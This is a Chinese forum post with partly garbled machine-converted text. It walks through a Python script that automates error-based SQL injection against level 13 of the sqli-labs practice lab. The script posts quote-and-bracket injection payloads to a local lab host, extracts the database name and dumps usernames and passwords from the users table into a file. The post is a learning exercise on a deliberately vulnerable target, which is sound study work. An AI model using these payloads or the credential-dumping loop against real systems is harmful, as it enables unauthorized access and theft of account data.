sqli-labs靶场自动化利用工具——第13关

打印 上一主题 下一主题

主题 683|帖子 683|积分 2049

文章目次



  • 概要
  • 团体架构流程
  • 技能细节
  • 执行效果
  • 小结
概要

Sqli-Labs靶场对于网安专业的门生或正在学习网安的朋侪来说并不陌生,或者说已经很认识。那有没有朋侪想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?大概有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思索。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡离开现实都是在空想。我也是不停围绕这个主题,以是想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有底子的网安人进行学习,学习网安路还是不能谋利取巧的。
本章恰当人群:

  • 网安专业门生
  • 报班学习网安内容的同学
  • 进步写POC本事的网安从业者
团体架构流程

因为是sqli-labs的第13关,且我以为名字很是麻烦,以是我在写脚本的时候错将sqli-labs写成了sql-libs请包涵。如果你有强迫症可以自行修改。
团体流程主要是仿爬虫的情势访问网页,之后将得到的数据记录在和py文件同一级的目次下面。
第13关使用的单引号括号注入。
请求方式是POST请求。
这个脚本唯一的缺陷就是出在后面的find_dbdata函数上面,该处使用差异的正则表达式就会筛选出差异的效果,终极的效果没能拿到我本地摆设的sqli-labs靶场的全部数据库名和暗码。类似admin1这种用户名和暗码筛选出来就可以拿到全部的数据,这个算是这个小脚本的缺陷。有兴趣的小搭档可以进一步研究。
技能细节

  1. import requests
  2. import re
  3. import os
  4. print("当前工作目录:", os.getcwd())
  5. # 全局变量
  6. url = 'http://sql:8081/Less-13/'
  7. def find_dblength():
  8.     headers = {
  9.         'Host': 'sql:8081',
  10.         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
  11.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
  12.                   'image/svg+xml,*/*;q=0.8',
  13.         'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
  14.         'Accept-Encoding': 'gzip, deflate',
  15.         'Content-Type': 'application/x-www-form-urlencoded',
  16.         'Content-Length': '270',  # 根据data参数的长度进行修改
  17.         'Origin': 'http://sql:8081',
  18.         'Connection': 'close',
  19.         'Referer': 'http://sql:8081/Less-13/',
  20.         'Upgrade-Insecure-Requests': '1',
  21.         'Priority': 'u=0, i'
  22.     }
  23.     data = {
  24.         'uname': "username') union select 1,2 from (select count(*),concat((select concat(database()) limit 0,1),"
  25.                  "floor(rand(0)*2)) "
  26.                  "as x from information_schema.tables group by x) as alias-- -",
  27.         'passwd': "') or 1=1-- -"
  28.     }
  29.     response = requests.post(url, headers=headers, data=data, verify=False)
  30.     html_content = response.text
  31.     match = re.search(r"Duplicate entry '([a-zA-Z]+)\d*' for key", html_content)
  32.     if match:
  33.         result = match.group(1)
  34.         result_length = len(result)
  35.         print(f"Result: {result}, Length: {result_length}")
  36.         return result, result_length
  37.     else:
  38.         print("No match found.")
  39.         return None, 0
  40. def find_dbdata(result_length):
  41.     file_path = os.path.join(os.getcwd(), 'result.txt')
  42.     for i in range(result_length):
  43.         headers = {
  44.             'Host': 'sql:8081',
  45.             'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
  46.             'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
  47.                       'image/svg+xml,*/*;q=0.8',
  48.             'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
  49.             'Accept-Encoding': 'gzip, deflate',
  50.             'Content-Type': 'application/x-www-form-urlencoded',
  51.             'Content-Length': '325',  # 根据data参数的长度进行修改
  52.             'Origin': 'http://sql:8081',
  53.             'Connection': 'close',
  54.             'Referer': 'http://sql:8081/Less-13/',
  55.             'Upgrade-Insecure-Requests': '1',
  56.             'Priority': 'u=0, i'
  57.         }
  58.         data = {
  59.             'uname': f"username') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,"
  60.                      f"0x3a, 0x3a) from security.users limit {i},1),floor(rand(0)*2)) as x from information_schema.tables "
  61.                      "group by x) as alias-- -",
  62.             'passwd': "') or 1=1-- -"
  63.         }
  64.         response = requests.post(url, headers=headers, data=data, verify=False)
  65.         html_content = response.text
  66.         match = re.search(r"'(.+?)::(.+?)::(\d+)'", html_content)
  67.         if match:
  68.             with open(file_path, "a") as file:
  69.                 file.write(f"{match.group(1)}, {match.group(2)}\n")
  70.         else:
  71.             print(f"No match found for entry {i}.")
  72. result, result_length = find_dblength()
  73. if result_length > 0:
  74.     find_dbdata(result_length)
复制代码
执行效果



小结

由于我的sqli-labs靶场是搭建在我的本机,以是使用代码时必要进行修改。
且想输出不一样的文件内容格式,也可以进行微调整。
最后还是那句话网安的路上不会一帆风顺,还需实事求是一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

尚未崩坏

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表